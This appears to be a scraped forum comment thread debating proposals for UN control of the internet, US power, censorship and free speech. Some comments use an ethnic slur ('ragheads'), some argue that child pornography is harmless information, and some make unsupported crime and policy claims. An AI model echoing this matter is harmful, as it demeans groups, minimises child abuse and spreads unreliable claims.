This is essentially correct. Without a country with a large/powerful military to keep the US in check, the US can pretty much run amok, and the UN is powerless to stop it. What is the UN going to do? Sanction the US, nope that will get vetoed by the US in the security council. Get everyone in the UN to not trade with the US? This is a joke, it would be like herding cats, enough of the nations would keep trading with the US behind the UN's back, plus many countries rely on US exports of foodstuffs, those countries would be in trouble. A military solution? Are you fucking suicidal, especially with the cowboy we have in office at the moment. I bet GWB is just itching to see the Eiffel Tower melt. It would be WWIII, a.k.a The End of the World a.k.a The Apacolypse.
Simply put, there is nothing the UN can do to the US at the moment that would have a real, or lasting, effect. The US has simply grown too powerful, it is now much like Rome was at its height. With luck, eventually US society will collapse under its own weight and the next great empire will rise and carry humanity forward, rather than the current stagnation that is happening in the US. The US's fall will probably parallel with the fall of the Roman empire, it will be an internal collapse from the slow degradation of social values and an unsustainable welfare state.
Necessity is the mother of invention.
Laziness is the father.
well, as you're the only one who replied with name.
useless means that there's no point in doing it, and it could be left undone without losing anything of importance.
if there's no point doing some talks, it doesn't matter that much if you talk anyways(there's nothing to lose, no lives spent, no gazillions burned). however, in pointless fighting you do lose quite a bit(lives&money) without gaining _anything_ except trouble from it(there goes more lives&money). if the fighting really saved money and lives it wouldn't be useless(in which case, it would be favorable to do, of course), however that rarely happens.
though, from history.. wars that were planned to be short(and as such would have been 'useful', or tolerable) have had a tendency to last quite a bit more than what was originally planned(which of course you should take into account when planning.. but people never do).
though, the conflicts that (ex)superpowers have waged are more because of what happens inside those superpowers themselfs than what happened in the countries where the war is waged(and as such, there was no real point in waging the wars)..
world was created 5 seconds before this post as it is.
I find it ironic that you advocate disallowing such subsidies because they may be used to suppress free views, yet your signature reminds us that Quemadmodum gladius neminem occidit, occidentis telum est ("A sword never kills anybody; it is a tool in the killer's hand"). Why not just take action against the countries/governments that do misuse the subsidy that way?
As far as people "find[ing] Western culture to be alluring" and "adopting it by th[ei]r own free choice", I'd argue that they're only adopting it because the US and its corporations are making it financially impossible to do otherwise, but I haven't done enough research to make a solid defense, so I'll leave that for another time.
I'm a believer that, at least at this point, that sort of thing needs to remain in the control of nations. Let's break it down:
Child porn: Sorry, but I do not agree with the US position that 18 is some magical age when sex become ok. If other countries wish to have a lower age of consent, that's their right. Then there are those countries that want ALL pornagraphy to be illegal. So if it's ok for us to tell a nation that 18 must be the minimum age for porn, why is it not ok for a different country to tell us that NO age is ok for porn?
Virus/hax0r source: Should be legal. Hacking should be illegal, as should releasing viruses to the Internet. The knowledge itself should not be made illegal. That is a stick your head in teh sand approach. You think that security experts are experts because they know nothing about hacking tools? No, they are experts because they know LOTS about them, what they do and how to stop them.
Stolen IP: Again, who are we to tell countries that they must have the concept of intellectual property?
Sorry, but nations just have real different ideas of what is ok and what is not. It needs to be up to them to decide what they consider acceptable, and how they are going to deal with the Internet in their country. I don't want some dictatorships telling us that we can't have free speech on the Internet any more than they'd want us telling them that they MUST allow it.
In any case, why can we trust the U.S. government to take a hands-off role towards the Internet any more than we can trust the UN?
Because the US has taken a generally hands-off role towards the Internet. Because the U.S. courts have struck down laws trying to restict speech on the Internet not once but twice. Because the U.S., where DARPANET was born, has generally been protective of its intellectual child.
The U.N. is a useless body. In its entire history, it has never accomplished anything without the substantial agreement and cooperation of the Great Powers. Where they have disagreed, it has been powerless. The Universal Declaration of Human Rights is a perfect example of the kind of claptrap they come up with. Vague, contradictory, and ultimately useless because it is never enforced.
The truth is that anarchy serves the Internet better. What would it be like if the US could enforce its draconian and restrictive view of intellectual property on 'Net locations overseas? What if the Chinese could compel compliance with their censorship regime beyond their own borders?
Historically, the inevitable result of unification of political and social power in one organization or entity has been stagnation. A certain amount of ambiguity, of room for true dissent, a refuge from one authority in the shelter of another, is necessary to human advancement. There are some who will abuse that liberty. But it is not for their benefit that we seek to preserve the ambiguous boundaries of the 'Net. It is for ourselves.
Don't like it, don't connect. However, I pity the citizens of any country who are thinking, "Gee, I wonder when we'll get the Internet here?" Unfortunately, their probably also the same countries wondering, "Gee, I wonder when we'll get basic innoculations here?"
The Internet is probably one of the best things this planet has going for it. I for one would be reluctant to leave it in the hands of a mob of countries who's motivation is to see how can we get this "freedom of thought/speech/ideas" thing more under control and more politically correct and more watered down so everyone is blissful in ignorance.
You keep your nasty UN. As for the Internet, give it to me raw and wiggling!
No.
Wrong, except for murder, the UK exceeds the US in all crime areas.
God Bless America, where "democracy" means a rich, white male as President
Unlike Europe, where "democracy" means a rich, white male as Prime Minster.
God Bless America, the biggest consumer of the world's natural resources
Purchased at the fair market value. Too bad you can't afford to consume more.
God Bless America, so happy to violate international laws
The highest legal authority for Lawmaking in the US is Congress. Any such "international laws" unconfirmed by Congress are not laws at all.
God Bless America, where "freedom of speech" means race-hate groups like KKK
Yes, by definition of freedom, it will annoy those uninterested in true freedom.
God Bless America, and its massive and ever-growing poverty gap
You can't earn your money while sitting on the couch. Your unemployment benefits won't make you rich.
God Bless America, with barely 300 years of dire history and culture
And yet, still better than Europe.
God Bless America, all its appalling "sitcoms" with no grasp of irony
Just like Anonymous Cowards
God Bless America, with the highest obesity levels in the developed world
Best Medical system too to take care of it, since its not overwhelmed with the non-paying poor.
God Bless America, because corporations should be allowed to run amok
If your definition of amok is "without crippling restrictions" then yes, God Bless America.
God Bless America, wasting billions to attack foreign countries
God Bless America where we have billions to attack foreign countries.
Any sufficiently advanced technology is indistinguishable from a rigged demo.
maybe they can help me stop getting emails from Kenyons trying to deposit money into my bank account.
But the UN doesn't have the mandate to run internet, it has a mandate to protect world peace (snicker). And even there, there's MUCH MUCH more job to do accomplishing its first mandate, let alone a second one that you create on the spot. IMHO, the war in IRAQ showed how the UN is completely useless and powerless in 2003, and should be dismantled and thrown to the 4 winds.
Trolls dont like to be Flamebait, because they burn so well. Protect our Troll heritage!
heheh, did i ever say it was useless?
not that i think it to be too useful, ragheads seem to like fighting(they think it serves a purpose).
if it were up to me such conflicts would be solved by a drinking contest, much less hassle, much cheaper, much funnier, and much more hazardous to the people who made the decisions.
world was created 5 seconds before this post as it is.
Wake me up when someone with the ability to effectively take over and technical know-how to run the internet starts making noises like this. The UN can make declarations to the effect that they control the internet all day, but intil they have a military force ready to march in and shut down the current DNS/IP allocation systems and a ready replacement for them, it's all just wasted paper.
0 1 - just my two bits
The way it works is probably the best. Let's not mess it up!
Blog Ho
> > Where freedom of speech applies to EVERYBODY,
> > even the ones with unpopular causes. Hint:
> > popular causes don't NEED freedom of speech.
>
> If it applies to everybody, then why would
> there be a need for a 3-day shutdown of London
> so that protesters don't get a chance
> to "peacably assemble?"
I may only have a US education, but I'm pretty sure London is in another country. It's the one with Radiohead and Boddington's.
It was a while ago, but the Cyberspace Independence Declaration remains a good read. Here is an excerpt:
"Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather.
"We have no elected government, nor are we likely to have one, so I address you with no greater authority than that with which liberty itself always speaks. I declare the global social space we are building to be naturally independent of the tyrannies you seek to impose on us. You have no moral right to rule us nor do you possess any methods of enforcement we have true reason to fear."
A Cyberspace Independence Declaration, John Perry Barlow, Cognitive Dissident
Co-Founder, Electronic Frontier Foundation
Blog Ho
I agree with you, fellow American.. We need more like you.
Too bad so many other 'fake' Amercians dont.
---- Booth was a patriot ----
Hint: we're still on our first Republic.
After the civil war I'd say we are on our second.
Excellent post. It it unfortunate that they will keep posting that garbage, because their hatred and jealousy blinds them.
The UN couldn't break up a cookie fight at Girl Scout camp and they're going to manage the Internet?! HAHAHAHAHA! Don't think so.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
Then don't the speech codes/hate speech laws of the EU violate Article 19?
You're right, because the Confederate government won! Oh, wait...nevermind. Still the same Republic, just better for the wear.
No.
No world wars in 50+ years
Some people claim that World War III was the Cold War, which became hot war in Korea, Cuba, and Vietnam. Others claim that the terrorist demolition of the World Trade Center on September 11, 2001, began World War III. Particularly, strategist Eliot Cohen calls the Cold War "World War III" and the War on Terror "World War IV".
Will I retire or break 10K?
As the other poster said, the US won the civil war, so it didn't change there; however, the our first Republic lasted about 10 years, and then they wrote the Constitution when the Articles of Confederation failed.
If the UN can't tell the difference between a dictatorship and a democracy
Easy. The United States is certainly not a democratic republic in practice; if it's not a dictatorship, it's definitely a plutocracy.
Has Slashdot turned into K5?
Will I retire or break 10K?
Poorer nations such as Brazil, India, South Africa, China and Saudi Arabia,
Who'd want to see china or saudi arabia have any say in the internet... Those 2 nations cited as examples have the most notorious anti-internet policies that come to mind... both have tried to actively limit internet penetration into their population for years and when that failed they tried to severely filter and censor it, and harrass and prosecute their citizens whom they might consider "agitators" or a cause for public "disorder" or civil "unrest" or a threat to "state security"; such charges are often thrown at people whose only crime is an interest in universal human rights.
Keep the Chinese and Saudis away from any thing to do with the running of the internet; if it was up to them then those over 3 billion pages would become no more than
Nobody said the US doesn't have the ability to control things. Your parent's question was what control is currently placed on the Internet by the US government, which is, at the moment, absolutely none.
No, it doesn't make sense for a country to try to control the internet, but the Third World long ago got the UN to agree that national presses should *not* be free. Their argument was that the Third World press is so important in directing agricultural reform, improving health practices, and reinforcing cultural values that it must be under the control of the government. Little stuff like chilling dissent seemed unimportant to many of the diplomats. Statistically speaking, First Amendment-like law is very rare. We should be grateful. And we should not surprised if the UN decides that the internet should also be under government control.
In other news, the UN also recently announced they would be confiscating all firearms from US citizens and installing peace in Palestine and Isreal and instituting national democratic elections in China and ceasing the cultivation, production and exportation of drugs in Colombia and . . .
http://www.eff.org/Misc/Publications/William_Gibso n/gibson_disney_death.article
(this message brought to you courtesy of Belkin. You see what you need to see and nothing more)
I sense hidden motives here. Many countries are now becoming fearful and paranoid to the US, especially with Bush at the helm. This looks to me to be a response to that. We aren't talking port or domain blocking here, I think they are looking towards the administration of the net itself, and the replacement of ICANN.
I'm not saying this is a good thing (I don't know enough about it), just what it looks like to me.
Well, off by a factor of 1000 (about 3000 died), but that mass grave can in someways be seen as the graveyard of the innocent people who died because their government treated some people in the world with no respect for their religion or culture. Besides, it was the CIA who gave Bin Laden money, and Rumsfeld himself shook hands with Saddam back in the 80's -- not that I'm implying Saddam has anything to do with 9/11.
You would basically see the explosion, literally of the internet as a tool for terrorism if it were administered by the UN. You would no longer be able to knock off hamas, hezbollah and every other terrorist uh I mean freedom fighting organization.
The internet under UN control would become 100% dedicated to hate speech.
There actually is an internet2 project afoot, and it doesn't involve string.
Supremely excellent post. It is always good to see true Americans. I only wish you had logged in so I could have added you to my friends list.
#include "sig.h"
Freenet nodes abound, the cute little 'monitoring boards' will be of no use. Freenet's development staff would increase by factors of 10 overnight, with the staff of many OSS projects chipping in to make things easier for the everyday users. Continued monitoring will simply result in better encryption and more secure software. The harder they push, the more resistance they'll find. China has no doubt tried to regulate and stop the use of Freenet, yet the freesites of Chinese dissidents continue to thrive, and the use of Freenet message boards by them continues.
To those who wish to control the internet: don't bother - you've already lost. Your continued efforts to increase your control merely expose your despotic aspirations. The mass criminalization of your countrymen will result only in your own downfall. You will never succeed with technological restraints, as there are far too many who will fight with a true passion to unyolk the minds of their peers; a passion your cold hearts could never comprehend, nor overcome. Look to the government of China for a spectacular mural of failure in the abuse of technology to restrain the use thereof.
I can't help but laugh at the prospect of a worldwide effort to outright control the flow of information through the internet. You can slow it down, make it more difficult to find, and even stop some from gaining access to it, but information can no longer be suppressed to the extent you'd like.
-- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
Thank you, sir! Excellent response, you made my day, and my friend's list.
We don't have a state-run media we have a media-run state.
The general council can veto a budget, veto a veto of one of the security council members, issue recomendations, and vote someone into the rotating SC slot. That's it. They write magical fairy decrees and get to veto something every 20 years when Mars is aligned with Betelgeuse. They're about as in control of the UN as this dead squirrel caught in the drainage ditch at the bottom of my driveway is in control of the Republican party.
I would argue that there are some valid points made regarding the legitimacy of the UN in the referenced article.
However, I suspect that Mr Krauthammer might need to go back and have a look at some of the detail that has subsequently come out regarding the US's intentions with Iraq. WMD? Hardly.
Maybe a UN run internet could help put a stop to all the port scans and spam coming from Asia, where sysadmins don't seem to care.
The UN has not accomplished a single thing in their existence, and nothing gets done because they are too scared to step on anyone's toes.
The UN should not control the internet.
The UN can't control much of anything, and they are useless.
Best idea -- abolish the UN.
Most of the posters have jumped to the conclusion that the UN will be responsible for censoring the internet. It did not say that at all. I understand that this will make it easier for individual countries to censor, but that is not the same thing. Im not for the UN controlling the internet for the previously mentioned reasons, but I just dont understand where everyone got this information from.
maybe the usa should stop installing them?
or supporting them if it fits the latest agenda.
its a war on communism!oh no sorry my mistake,
its the war on drugs,or was it the war on terrorism?
which side are you on?
So you have freedom of speech, as long as you don't say anthing the UN disagrees with.
Correction: you can't take away any of the rights and freedoms agreed to by the UN nations in the Universal Declaration of Human Rights... and really, neither should you... read it over... some of those are actually kind of nice.
If the UN basically had control over the internet - imagine what chaos would ensue. For example, what if the US decided it didn't like Mexico anymore and wanted to impose sanctions. Snip! Internet gone! A country devastated... But the UN wouldn't allow that. The internet is a peoples thing, not to be owned by one government or one company. I still don't like that fact that there aren't any more "real" people on the ICANN board, and it's all businesses. And those kind of businesses are kinda evil. Sure, business is good, like the guy down the road who sells groceries, but can we really trust something that defies normal logic to a bunch of faceless corporations? The internet is not merely do when needed, it's got to be one step ahead of the game, spending now to further knowledge exchange, not cut back to let the cash roll in! Don't let ICANN be the next Pfizer!
Note... I'm not a business hater, I just don't trust trans-national corporations. And for good reason...
Yeah, but what the hell does the human rights council do?
Don't know? That's OK, that's because they DON'T DO ANYTHING. They print pamphlets! Oh my fucking God! What can't Libya do with those nerfarious pamphlets of theirs!? And... and... and... they do statistical analyses of data!!! God help us! Sometimes they even write opinion essays! They're like the Wall Street Journal, only with a smaller audience and less influence! I hear your call, sir, the UN Security Council must sieze control of all these pamphlet-printing, analysis-writing terrorist groups before THE VERY WORLD AS WE KNOW IT COMES TO AN END!
The side of truth.
Sadly, I do not know how to fully translate that to the "Real World(tm)"
peanut butter is a luxury in most countries you insensitive clod !
Who is this Karma guy and why is he bad ??
China! China has WAY more Chinese people in it than America. At least 15% more!! So clearly China is the most multicultural nation.
Or how about Africa? I think Africa has more black people in power than in the US. That makes Africa a much more balanced, fair, and multicultural nation.
Only requirement for good karma: be pedantic as much and as often as possible.
How do I get a job as a UN net censor? Imagine, a job that actually PAYS to surf the net day in and day out! Sounds great to me!
-Marsmeg
"Life is Mental" -Emily Robison
To be fair, you haven't named the deposing of Hussein as a useless fight, and are thus allowed a modicum of leeway.
I've never understood elitist isolationism, something I have to deal with a great deal at work and here. I, for one, wanted us to knock off Hussein for a number of reasons, not the least of which is the giant rotting pile of corpses buried in mass graves. What's the count up to now....300,000? Sheesh. People have a shit over Milosevic, but they want to cut deals with this maniac. "Oooh, look, we could've avoided war and left this murderer in power...waaaaaah we should've!"
Drives me nuts.
"terrorism" and "pedophilia" are the root passwords to the Constitution
It doesn't? Goddamnit, doesn't anyone even consider backwards compatibility anymore?
> > God Bless America, with the worst crime levels in the first world
9 67 4.html
> Where even criminals have civil rights.
Unless they're "Illegal Combantants". Then we send them off without trial,
access to legal council, or without the ability to consult their embassies.
> > God Bless America, so happy to violate international law".
> When those laws are put together by the dictator's club called the UN, you
> bet. You know, the place that puts Syria and Libya on the "human rights
> committee"?
The Geneva Convention has nothing to do with Syria and Libya. However, I
agree, Syria should not advise anyone on human rights.
> > God Bless America, where "freedom of speech" means race-hate groups like KKK
> Where freedom of speech applies to EVERYBODY, even the ones with unpopular
> causes. Hint: popular causes don't NEED freedom of speech.
I agree here.
> > God Bless America, with barely 300 years of dire history and culture
> Hint: we're still on our first Republic. France is on their fifth, with
> intervening Reigns of Terror, anarchy, kings, emperors, and Nazi
> collaborationist regimes.
Actually, this is our second. Remember the Articles of
Confederation?
> > God Bless America, with the highest obesity levels in the developed world
> Where food is so cheap that even the poorest can (over)eat.
I wish that were true.
http://www.dispatch.com/news/newsfea00/apr00/24
> > God Bless America, wasting billions to attack foreign countries
> They're ours to "waste", Saddam-lover.
Well, actually, no. We're doing defecit spending to finance all of this. How
can you have a war and lower taxes at the same time? Prentend you don't have
to pay for it.
-molo
Using your sig line to advertise for friends is lame.
What else has the U.N. done for us lately?
DT
Is this thing on? Hello?
Why anyone is Anti-American is beyond me. This is the only country people are trying to get into any way they can. We take ANYONE. To insult America is to insult yourself because chances are we got people just like you. It's hard being the best.
No, if the US ran an ambulance service, the paramedics would carry soldiers who would carry guns, jump out of the ambulance, chase down whoever caused the patient harm, and kill them. The paramedics would take the patient to the hospital as fast as possible.
Governance of the international community on the internet by any parochial government (US, EU, UN, China, ...) would be a disaster. The Bamboo Curtin Network (Intranet) of China, The diminishing freedom network of EU and US, ... the internet may become the tool of government to control the public. It is already very easy (by planting a Trojan-virus) to monitor novice users activities (audio always, video when available) in the vicinity. If security and encryption is controlled by the state then expect the state to abuse the citizens. ...) were in the public interest. Most laws in the US and EU on Privacy, IP, Security, ... have been in the favor of governments and capitalism. The UN would do no better with dictatorial powers over the internet. The UN should never be able to tell me, EU, US, or others what we can/cannot do on the internet ... it would be tyranny. .... The UN should defend to the best of its ability the freedoms and openness of interaction, information, ... for all nations, cultures, and people.
Over the past two decades very few (in comparison) laws on technology (Computers, Software, Bio and Nano,
However, the UN should help standardize file formats, protecting OS and virtual public property, develop international agreements that promote human welfare, education, and ecologically sound development,
OldHawk777
Unaccountable leaders are masters, and unrepresented people are slaves. How do US and EU fare?
you had me until the second line of your wonderful poem there. I believe while we have the highest inmate population per capita that isn't to be mistaken whatsoever as highest crime rate. We just rarely let them get away with it (compared to other countries). You're perception of free speech is where you *really* start to lose the last tangencies of your (short) lived sanity. I guess America needs to stop sneezing too. It's making god busy...
Doesn't really justify the harsh comparison, IMHO. Every organization/governing body has its strong points and weak points, but idea of having a single governing body/organization controlling the internet is nothing less than a dictatorship. Quote: "One Man's Meat is Another Man's Poison" (no idea who said it). I probably won't dig what UN want me to view, neither would I dig whatever China or USA or Russia or even my own country wants me to view either! Funny how threads always seem to run off topic :P *points at parent*
you can't take away any of the rights and freedoms agreed to by the UN nations in the Universal Declaration of Human Rights... and really, neither should you... read it over... some of those are actually kind of nice.
I'll assume that the "some of those" rights you mention do not include article 27(2), which doesn't seem to limit the duration of such "material interests," opening up the possibility for a country to enact perpetual copyright and for Disney to lobby for a "harmonization" with that country's copyright term, just like the EU and USA "harmonized" with Germany's life-plus-70 term.
Will I retire or break 10K?
Sheesh.
Given the choice between UN control and ICANN control, I gotta go with ICANN. They may be inept, shortsighted and unaccountable, but not to the degree that the UN is.
Ed R.Zahurak
You know, oblivion keeps looking better every day.
there should be no reason whatsoever to see 6 or 7 year old children in explicit images anywhere on the Internet.
Depends on the definition of "explicit." What about health-related web sites that include diagrams of a child's genitourinary system?
Will I retire or break 10K?
The first Republic was just a false start. Its significance is zero beyond giving HS History professors something else to quiz you on.
The unofficial
Some are nice, and some are not. For example, I believe minimum wage laws (as mandated by article 23) cause unemployment and are economically harmful. You may disagree, but according the the UN I don't even have the right to express that opinion, and that is ludicrous.
How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
Poorer nations such as Brazil, India, South Africa, China and Saudi Arabia...
Since when is Saudi Arabia considered a poor nation? It may be a lot of things, but poor certainly isn't one of them.
Here are 5 off of the top of me head:
1. Iraq -> Kuwait
2. Iraq -> Iran
3. Argentina -> Fauklands
4. Russia -> Afghanistan
5. Everyone -> Israel (twice)
Not all were successful, but the UN had a small hand in only one of them (number 1), and the rest were condemned, talked about, but prosecuted anyway.
And this does not even get into African "countries" and their various tribal/civil wars.
-Donut
The percentage of the internet that is owned or controlled by non-US interests is steadily increasing. Europe is laying high speed backbone rapidly, mainland China is moving fairly well, and even some "third world" nations such as Malaysia are catching up at a rate that may make them "1st world" in a generation. Beyond that, Control means more than having a majority interest, it's being able to block others from reducing that interest, which the US isn't doing, and probably couldn't do if it wanted to.
Who is John Cabal?
So where does the government's right to control the internet come from, anyway?
If I have two computers, I can network them, no problem. Noone is going to tell me what I can and can't do.
If you and I agree to network our computers, no problem.
If someone else wants to join, fine. And maybe someone else joins, and another...
At what point do we go from a private agreement that allows our computers to interoperate, to something that governments think they have the right and obligation to control? Not just regulate, but control?
Bureaucracy they may be, but I am not sure they will do any worse than ICANN....
The article talks about something like the International Telecommunications Union, which has worked fairly well - international cotnrol could be good, if it is done right.
Not yet. But my understanding is we've found 300,000 buried in mass graves. At worst we did the right thing for the wrong reasons.
True and laudable, but not relevent to the original point - US crime levels are ridiculously high
When those laws are put together by the dictator's club called the UN, you bet. You know, the place that puts Syria and Libya on the "human rights committee"?
Yes, part of that freedom of speech of unpopular opinions you were talking about...
Anyway, I think the original poster was refering to violations not just of international law and UN resolutions, but also of the ideals presented in the UN Charter and the UN Universal Declaration of Human Rights.
Where freedom of speech applies to EVERYBODY, even the ones with unpopular causes. Hint: popular causes don't NEED freedom of speech.
Again, commendable that the US has such freedoms.
Hint: our popular culture dominates the world. Deal with it.
Homogonisation of culture is often non-voluntary for the countries involved but a results of the dollar diplomacy practiced by the US - excessive control exercised by economic power.
Where food is so cheap that even the poorest can (over)eat.
And while the US poor overeat, the rest of the world remains hungry due to import tariffs and price-hiking for personal benefit
They're ours to "waste", Saddam-lover.
No, they're not. Those billions could be used to make those poor you talk about richer. Or feed the starving. Or do anything. Hell, you could suddenly introduce a new currency and declare the old one worthless - throw away your money. But while it has some effect on others, you do NOT have the right to exercise your will AGAINST THE WISHES OF INVOLVED PARTIES. Oh, and by the way: if they're against you they're not necessarily with the oposition - I don't support the actions of Saddam Hussain OR George W Bush.
Offtopic, but it needs to be said.
"But everyone should know everything." -markab
Perhaps I'm a mite slow, but why is "They're ours to "waste", Saddam-lover." considered +5 Insightful?
a ijail10.html) and not available for "special" criminals (Guantanamo)?
Or holding up the obesity that's killing millions of Americans as somehow a source of American pride?
Or countering the claim that America has a crime problem by pointing out that America also affords criminals civil rights, albeit oft violated (http://www.azcentral.com/news/articles/1110yavap
How is this not -1 Flamebait? Are other people in this nation really so insecure that they have to support any jingoistic rant as a sign that they have worth?
Get a hold of yourself. America's a good enough and strong enough nation that it doesn't need to grasp at pandering rants to bolster its self-confidence.
The FT actually refers to Saudi Arabia as
a poor country! Hey FT, SA has the LARGEST
supply of Oil in the world! Per capita,
they are one of the RICHEST countries!
Get your damn facts straight. How can you
take that article seriously when they start
out with such a BLATANT factual error?
As for the idea of the UN running anything,
PLEASE! They screw up everything they control.
They want control to STIFLE it and TAX it.
If it ain't broke (and it ain't), don't fix
it (ie, RUIN IT)! If you think the RIAA is
bad, give the UN control of the Internet!
Yeah, I read this story and I thought "hell yes" because it definitely beats the shit out of a Verisign-controlled internet (don't believe me? Verisign CEO says the administration of the internet should be handed over to corporations .. like Verisign).
Ratio of replies to old sig content : replies to actual post content > 0.5. Sig changed.
When talking about censorship I think we should distinguish between the use of censorship as a weapon of political oppression by a state,(or by some other power bloc), against the citizenry of a country, from its use to set bounds of what is culturally appropriate as agreed upon by at least a majority of the citizens of a country.
I'm not sure it's possible to make such a distinction. Imagine the case when the society in question finds it culturally inappropriate to question the state.
Surely people of different countries have a right to make choices as a people, that you or I might disagree with?
"as a people" is such a vague term. Just because the majorty thinks it's right doesn't make it so. I categorically deny the assertion that any number (as that is all digital communications are, numbers) should be prohibited.
Give me Classic Slashdot or give me death!
This is to be expected. Just as horse-drawn carriage makers sought to thwart the rise of the auto that made them irrelevant, countries will work to thwart the network that makes their borders invisible and their power to reject the wishes of their people invisible.
-- Slashdot: When Public Access TV Says "No"
> This is the only country people are trying to get into any way they can. We take ANYONE.
This is so astonishingly false that I'm surprised it was uttered.
The US does not take "ANYONE", otherwise it would have huge "Welcome to America!" signs at the Mexican border, rather than huge fences and guards.
The US is not the only country people are trying to get into - all rich nations have a flood of people trying to get into the country, and the United States is no more accepting of immigrants than most.
Please, inform yourself. Statements like yours - short on truth but long on jingoism - are exactly why many people are anti-American. The only insult to America here is your willful ignorance.
"...since its [sic] not overwhelmed with the non-paying poor."
And there you have it. Welcome to America, if you can pay up front!
"...where we have billions to attack foreign countries."
Yes, the schoolyard bullies of planet Earth. How endearing you must seem to the other 5 billion of us.
Others may disagree, but I hold that there is no such thing as objectionable information. This is NOT limited to "my favorite information," but includes the items listed: child porn, virus/worm/hacking tool/source code/instructions, stolen "intellectual property".
My reasoning is that information harms no one. Information did not steal money from you, have sex with your wife, or photograph your nephews, nude. Since every one of those acts was committed by a person, let the person stand to blame. I don't see why just because it's "the internet" people think things should be treated differently. People commit crimes, so...punish the people.
In response to my assertion people have tried to point out that information does harm people. There are cases of people exposed to information on traumatic events developing Post-Traumatic Stress Disorder, but these are entirely beside the point because the information wasn't really free. These people were forced (as part of their job) to be exposed to this information.
Another common response mentions kiddie-porn. They say that because people demand it (by downloading it), more poor children are molested (Won't someone think of the children!). Another theory is that, since there is so much of it around (funny how I haven't seen any) it makes those that see it more likely to molest children.
All of these cases break down into one thing: where is harm caused? Harm was caused by the molesters.
If we keep pushing back our rights to do things because people who harmed others, eventually I won't be able to eat my peanut butter sandwich (because butter knives are dangerous, and peanut butter sandwiches were eaten during the childhood of %80 of convicted rapists--numbers taken from OOMA [Out Of My Ass].), and that won't make me happy. I am fairly confident that I would like to eat peanut butter sandwiches. I would like to feed [my non-rapist] children peanut butter sandwiches.
So for the love of god Would someone think of the children! (who probably like PB+J too)...
___
sorry about that....I can only be serious for so long.....
Anyway I just don't like censorship. I like for me to decide what I find objectionable, and not let anyone else decide for me--let me be free to decide not free from decision.
I'm not saying that laws about intellectual property are bad, just that they should be limited to cases where a clear harm has been wrought.
Goodness. The only thing I can imagine being worse than spam in an unregulated Internet is spam in a UN-regulated internet. GAAH!!!
The World Wide Web is dying. Soon, we shall have only the Internet.
I didn't say wars, I said Wars of Conquest. very different.
The UN fails in almost every atempt at regulation. I cannot think of a single instance in which they have succeeded when individual civil liberties are concerned, and placing control of the internet in their hands would be a death sentence for our network. We, as people, cannot alow this to happen if we value our ability to write and publish what we think. The threats of kiddie porn, copyright infringement, spam, and privacy invasions pale in comparison to the threats of censorship on this scale. Imagine a world where people can't remember these times of communication. Imagine a time when governments don't need laws to control their thoughts, because they give tacit concent because they blieve that's the way it's always been done, and change has never happened. It's a terrible reality, and the UN will make it happen. I honestly believe that the UN has outlived its usefulness and should be disbanded, but since that's not a realistic option, we must limit their ability to destroy our way of life.
As long as you don't fuck with it (hint: terrorism), your fine. But, piss it off, and it will clean house. And that's exactly what happend to Saddams regime.
It was so cool when the US took out all of Saddams 757 factories!
"an amorphous, social mass that can't be controlled by anyone? "
Isn't that the sort of structure that allowed for spam and viruses?
no comment
No. You absolutely do have the right to express that opinion. Nowhere does it say you can't. Article 19 clearly states that. However, you do not have the right to take away the rights guaranteed in the declaration from others. Read Article 30 -- you can't engage in activities aimed at the destruction of any of the rights guaranteed by the Declaration (that would include Article 19).
On a side note, what's the deal with "according to the UN"? The Universal Declaration of Human Rights was adopted in a general assembly vote by all the member nations who accepted it (the US included -- I assume that's where you're from based on the political viewpoint).
In any case, in no way does Article 23 state that countries have to adopt minimum wage laws (though they would be required to prevent exploitation). It simply states we all have a right to equal pay for equal work (ie. no discrimination), and that we should be paid enough to live in dignity (ie. not sweatshop wages). It also doesn't force anyone to guarantee 100% employment, as someone might twist 23 (1) to mean.
It can be certainly argued that minimum wage laws (and rent caps) do place "artificial" limitations on the economy and therefore cause unemployment, or at least imperfect capitalism, but this doesn't change the fact that your country (along with the rest of us) signed on to it. Complain to them if you don't like it. Really... the US seems to be doing a great job of ignoring the UN recently.
No, they can suffer and die in silence like good little wage slaves! If you aren't productive, you're just a waste of resources!
God, this country must have sold its humanity.
Administration of technical aspects of the net by the UN might or might not be a good idea, but the current push at the UN is clearly part of a long-standing effort on the part of oppressive countries to censor what their own people have access to and prevent criticism of themselves elsewhere. It is a continuation of a project initiated 20 years ago called the New World Information and Communication Order. The basic idea was that international action was required to remedy the imbalance in access to and control over communications between the developed and non-developed countries. Some proposals had legitimate goals, such as increasing access to communications in under-developed countries, but it was clear that much of the interest on the part of the states that supported NWICO was in censorship. At the time, this meant censorship of the print media, TV, and radio. Although the US succeeded in blocking adoption of NWICO by UNESCO, the idea has never died. The current activity at the UN is just the latest attempt at censorship, now aimed at the net as well as the traditional media. Here is a recent report [PDF-958k] by the World Press Freedom Committee and the New York City Bar. This is a danger that deserves to be taken very seriously.
It is a pointless endeaver to try to prove a negative (i.e. "prove Americans aren't fat") -
It is also a logical falicy to use the suggestion in an argument. Not that there isn't any truth to the post, you just look like a dumbass.
ymmv
Plenty. You have regional disputes or civil wars (over checnya for example). You have religous wars, Iran/Iraq, you have ethnic wars, yugoslavia. There are many examples. Soviet invasion of hungary was to perserve the communist dicatatorship there as was afghanistan.
Vietnam's invasion of cambodia was to allow it to invade and secure supplies lines to S. Vietnam -- an example of a civil war turning into a regional conflict.
Lots, and lots of different reasons humans decide to go to war.
Its funny that you uncritically talk about those "small countries"
I should like you to note that the idea of spying on private citizens did not originate in "small countres"... You might like to look at what english speaking counties -- not small by your measure, I am sure -- did after the second world war. I am talking about the sort of efforts that gave birth to the NSA, GHQ etc. You will claim that they do not spy on their citizens, but then you would only be echoing their own claims.
In addition, you should perhaps take a look at your patriot's act. At least these "small coutries" have taken care to declare their intentions in the 1st place in a rather clear manner.
Heh Heh heh. None of us supports anything other than a completely free internet, but it must be said that you guys are laughable in your apparent ability to filter out propaganda.
You forgot, they'd run a credit check on the patient before doing anything.
Its like giving a nuclear sub commander both missle keys. He isn't actively excercising his powers, but should he fancy launching a few missles, the power is at his fingertips. Isn't everything these days about pre-empting a threat? In this case the threat would be one country having the ability to severly curtial access to the domain name servers.
this is a little scenario for your post over here:
Imagine Party C = CIA, Party B = You, Party A = The Federal Government.
